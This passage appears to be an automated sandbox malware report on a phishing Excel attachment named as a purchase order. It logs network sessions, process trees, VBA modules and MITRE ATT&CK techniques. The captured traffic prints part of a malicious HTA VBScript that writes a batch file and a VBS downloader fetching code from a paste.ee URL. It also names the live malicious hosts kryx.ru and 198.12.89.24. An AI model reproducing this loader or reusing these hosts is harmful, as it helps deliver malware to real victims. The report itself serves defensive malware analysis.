20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 56 42 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 44 69 6d 20 72 69 6e 67 62 65 61 72 65 72 0d 0a 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html><head> <title>Executar Script</title> <HTA:APPLICATION APPLICATIONNAME="ScriptExecutor" BORDER="none" CAPTION="no" SHOWINTASKBAR="no" SINGLEINSTANCE="yes" WINDOWSTATE="minimize" /> <script language="VBScript"> Dim ringbearer Set ringbearer = CreateObject("WScript.Shell") Dim connivances connivances = "C:\Windows\Temp\twelth.bat" Dim mythopoets, roenoke Set mythopoets = CreateObject("Scripting.FileSystemObject") Set roenoke = mythopoets.CreateTextFile(connivances, True) roenoke.WriteLine "@echo off" roenoke.WriteLine "setlocal" roenoke.WriteLine "set ""fugues=C:\Windows\Temp\complimenter.vbs""" roenoke.WriteLine ">" & """%fugues%""" & " (" roenoke.WriteLine " echo Dim non
Mar 17, 2025 09:29:08.853570938 CET	976	IN	Data Raw: 63 61 74 61 6c 6f 67 2c 20 64 6f 63 75 6d 65 6e 74 61 72 69 73 74 22 0d 0a 20 20 20 20 20 20 20 20 72 6f 65 6e 6f 6b 65 2e 57 72 69 74 65 4c 69 6e 65 20 22 20 20 20 20 65 63 68 6f 20 6e 6f 6e 63 61 74 61 6c 6f 67 20 3d 20 22 22 68 74 74 70 73 3a Data Ascii: catalog, documentarist" roenoke.WriteLine " echo noncatalog = ""https://paste.ee/d/N6drHLKy/0""" roenoke.WriteLine " echo Set documentarist = CreateObject^(""MSXML2.XMLHTTP""^)" roenoke.WriteLine " echo docu

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49697	188.225.72.170	443	6784	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2025-03-17 08:29:08 UTC	232	OUT	GET /e3EPl0?&certification=exclusive&kitty=thinkable HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: kryx.ru Connection: Keep-Alive
2025-03-17 08:29:08 UTC	508	IN	HTTP/1.1 302 Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 17 Mar 2025 08:29:08 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 117 Connection: close X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Location: http://198.12.89.24/xampp/angel/tsgreatnessforentiretimegoodgirlsheis.hta?&balinese=stereotyped Vary: Accept
2025-03-17 08:29:08 UTC	117	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 38 2e 31 32 2e 38 39 2e 32 34 2f 78 61 6d 70 70 2f 61 6e 67 65 6c 2f 74 73 67 72 65 61 74 6e 65 73 73 66 6f 72 65 6e 74 69 72 65 74 69 6d 65 67 6f 6f 64 67 69 72 6c 73 68 65 69 73 2e 68 74 61 3f 26 62 61 6c 69 6e 65 73 65 3d 73 74 65 72 65 6f 74 79 70 65 64 Data Ascii: Found. Redirecting to http://198.12.89.24/xampp/angel/tsgreatnessforentiretimegoodgirlsheis.hta?&balinese=stereotyped

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	13.107.246.60	443	6784	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2025-03-17 08:29:23 UTC	226	OUT	GET /rules/excel.exe-Production-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 08:29:23 UTC	500	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 08:29:23 GMT Content-Type: text/plain Content-Length: 1114783 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 17 Mar 2025 00:15:55 GMT ETag: "0x8DD64E8E2A782F5" x-ms-request-id: 2689232f-001e-0082-4716-975880000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T082923Z-186895dd8bdkvr8rhC1EWR0teg00000003fg000000002c6g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2025-03-17 08:29:23 UTC	15884	IN	Data Raw: 31 30 30 30 34 32 76 32 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 34 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 55 58 2e 44 65 73 6b 74 6f 70 2e 4f 66 66 69 63 65 54 68 65 6d 65 2e 41 70 70 2e 49 6e 69 74 22 20 41 54 54 3d 22 63 34 33 38 38 63 39 37 37 32 39 37 34 31 33 62 62 30 35 34 62 61 64 31 61 63 66 30 61 64 65 31 2d 63 63 35 38 65 35 33 65 2d 66 35 61 34 2d 34 66 33 37 2d 62 30 64 32 2d 39 61 38 30 37 39 65 33 34 34 32 30 2d 36 38 37 39 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 63 6d 39 79 35 Data Ascii: 100042v2+<?xml version="1.0" encoding="utf-8"?><R Id="100042" V="2" DC="SM" EN="Office.UX.Desktop.OfficeTheme.App.Init" ATT="c4388c977297413bb054bad1acf0ade1-cc58e53e-f5a4-4f37-b0d2-9a8079e34420-6879" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="cm9y5
2025-03-17 08:29:23 UTC	16384	IN	Data Raw: 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 30 31 31 37 76 30 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 31 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 38 79 6c 6c 66 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 56 20 56 3d 22 43 6c 69 63 6b 22 20 54 3d 22 57 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 Data Ascii: S T="1" /> </T></R><$!#>100117v0+<?xml version="1.0" encoding="utf-8"?><R Id="100117" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="8yllf" /> </S> <C T="W" I="0" O="false"> <V V="Click" T="W" /> </C> <C
2025-03-17 08:29:23 UTC	16384	IN	Data Raw: 20 20 20 3c 2f 41 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 37 38 31 76 31 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 37 38 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 62 67 6f 34 74 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 68 6c 76 79 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 Data Ascii: </A> </C> <T> <S T="2" /> <S T="3" /> </T></R><$!#>10781v1+<?xml version="1.0" encoding="utf-8"?><R Id="10781" V="1" DC="SM" T="Subrule" xmlns=""> <S> <UTS T="1" Id="bgo4t" /> <UTS T="2" Id="bhlvy" /> </S> <C
2025-03-17 08:29:24 UTC	16384	IN	Data Raw: 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 30 30 30 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 45 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: "AND"> <L> <O T="GT"> <L> <S T="1" F="0" /> </L> <R> <V V="1000" T="U32" /> </R> </O> </L> <R> <O T="LE">
2025-03-17 08:29:24 UTC	16384	IN	Data Raw: 54 3d 22 55 33 32 22 20 49 3d 22 32 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 56 69 64 65 6f 43 61 6c 6c 56 69 64 65 6f 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 36 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 33 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 53 61 53 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 34 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 4f 76 65 72 66 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 Data Ascii: T="U32" I="22" O="false" N="FlyoutVideoCallVideo"> <C> <S T="26" /> </C> </C> <C T="U32" I="23" O="false" N="FlyoutSaS"> <C> <S T="27" /> </C> </C> <C T="U32" I="24" O="false" N="FlyoutOverflow"> <C>
2025-03-17 08:29:24 UTC	16384	IN	Data Raw: 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 39 30 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 4e 44 42 2e 55 6e 6b 6e 6f 77 6e 2e 43 6f 72 72 75 70 74 69 6f 6e 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 53 3d 22 31 30 30 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 45 74 77 20 54 3d 22 31 22 20 45 3d 22 33 39 35 22 20 47 3d 22 7b 32 61 64 66 38 65 32 Data Ascii: 1.0" encoding="utf-8"?><R Id="10907" V="0" DC="SM" EN="Office.Outlook.Desktop.NDB.Unknown.Corruption" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" S="100" DCa="PSU" xmlns=""> <S> <Etw T="1" E="395" G="{2adf8e2
2025-03-17 08:29:24 UTC	16384	IN	Data Raw: 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 33 22 20 49 64 3d 22 62 70 66 79 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 34 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 50 68 6f 74 6f 53 69 7a 65 49 6e 42 79 74 65 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 55 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 Data Ascii: ="2" E="TelemetryShutdown" /> <UTS T="3" Id="bpfy1" /> <F T="4"> <O T="GT"> <L> <S T="3" F="PhotoSizeInBytes" /> </L> <R> <V V="0" T="U64" /> </R> </O> </F> </S>
2025-03-17 08:29:24 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 65 76 65 6e 74 49 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 33 35 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 74 63 69 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <L> <S T="4" F="eventId" /> </L> <R> <V V="135" T="I32" /> </R> </O> </F> <F T="7"> <O T="EQ"> <L> <S T="5" F="tcid" /> </L> <R>
2025-03-17 08:29:24 UTC	16384	IN	Data Raw: 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 31 30 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 46 69 6c 65 50 72 6f 74 65 63 74 69 6f 6e 53 74 61 74 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 35 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 4f 66 54 68 72 6f 77 6e 45 78 63 65 70 Data Ascii: </F> <F T="10"> <O T="EQ"> <L> <S T="3" F="FileProtectionState" /> </L> <R> <V V="5" T="U32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="CountOfThrownExcep
2025-03-17 08:29:24 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 72 65 73 75 6c 74 73 5f 49 73 4e 75 6c 6c 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c Data Ascii: <S T="5" F="results_IsNull" /> </L> <R> <V V="false" T="B" /> </R> </O> </L> <R> <O T="EQ"> <L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49704	13.107.246.60	443	6784	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2025-03-17 08:29:30 UTC	214	OUT	GET /rules/rule120607v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 08:29:30 UTC	498	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 08:29:30 GMT Content-Type: text/xml Content-Length: 204 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6C8527A" x-ms-request-id: 7f2185fb-401e-0015-4016-970e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T082930Z-186895dd8bdwwt8hhC1EWR4xag00000005g0000000004ny4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2025-03-17 08:29:30 UTC	204	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 37 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 45 52 3d 22 31 32 30 36 30 33 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 62 62 70 7a 73 22 20 41 3d 22 39 34 30 74 63 20 39 78 35 6a 73 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120607" V="1" DC="SM" T="Subrule" ER="120603" xmlns=""> <S> <UTS T="1" Id="bbpzs" A="940tc 9x5js" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49703	13.107.246.60	443	6784	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2025-03-17 08:29:30 UTC	214	OUT	GET /rules/rule120603v8s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 08:29:30 UTC	522	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 08:29:30 GMT Content-Type: text/xml Content-Length: 2128 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA41F3C62" x-ms-request-id: 34637610-b01e-0001-0dfd-9646e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T082930Z-186895dd8bdh8h7whC1EWRqw7s000000066g00000000349z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T1 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2025-03-17 08:29:30 UTC	2128	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 33 22 20 56 3d 22 38 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 64 64 69 74 69 6f 6e 61 6c 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 45 3d 22 66 61 6c 73 65 22 20 44 4c 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120603" V="8" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAdditional" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" E="false" DL=

Statistics

CPU Usage

• EXCEL.EXE
• mshta.exe
• splwow64.exe
• EXCEL.EXE

Click to jump to process

Memory Usage

• EXCEL.EXE
• mshta.exe
• splwow64.exe
• EXCEL.EXE

Click to jump to process

High Level Behavior Distribution

• File
• Registry

Click to dive into process behavior distribution

Click to jump to process

Target ID:	0
Start time:	04:28:14
Start date:	17/03/2025
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0xfb0000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	04:29:08
Start date:	17/03/2025
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\mshta.exe -Embedding
Imagebase:	0xd60000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	04:29:17
Start date:	17/03/2025
Path:	C:\Windows\splwow64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\splwow64.exe 12288
Imagebase:	0x7ff6006a0000
File size:	163'840 bytes
MD5 hash:	77DE7761B037061C7C112FD3C5B91E73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	04:29:26
Start date:	17/03/2025
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\user\Desktop\PO#4500550389.xla.xlsx"
Imagebase:	0xfb0000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

VBA Code

Call Graph

Graph

Hide Legend

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Sheet1

Declaration

Line	Content
1	Attribute VB_Name = "Sheet1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet2

Declaration

Line	Content
1	Attribute VB_Name = "Sheet2"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet3

Declaration

Line	Content
1	Attribute VB_Name = "Sheet3"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: ThisWorkbook

Declaration

Line	Content
1	Attribute VB_Name = "ThisWorkbook"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
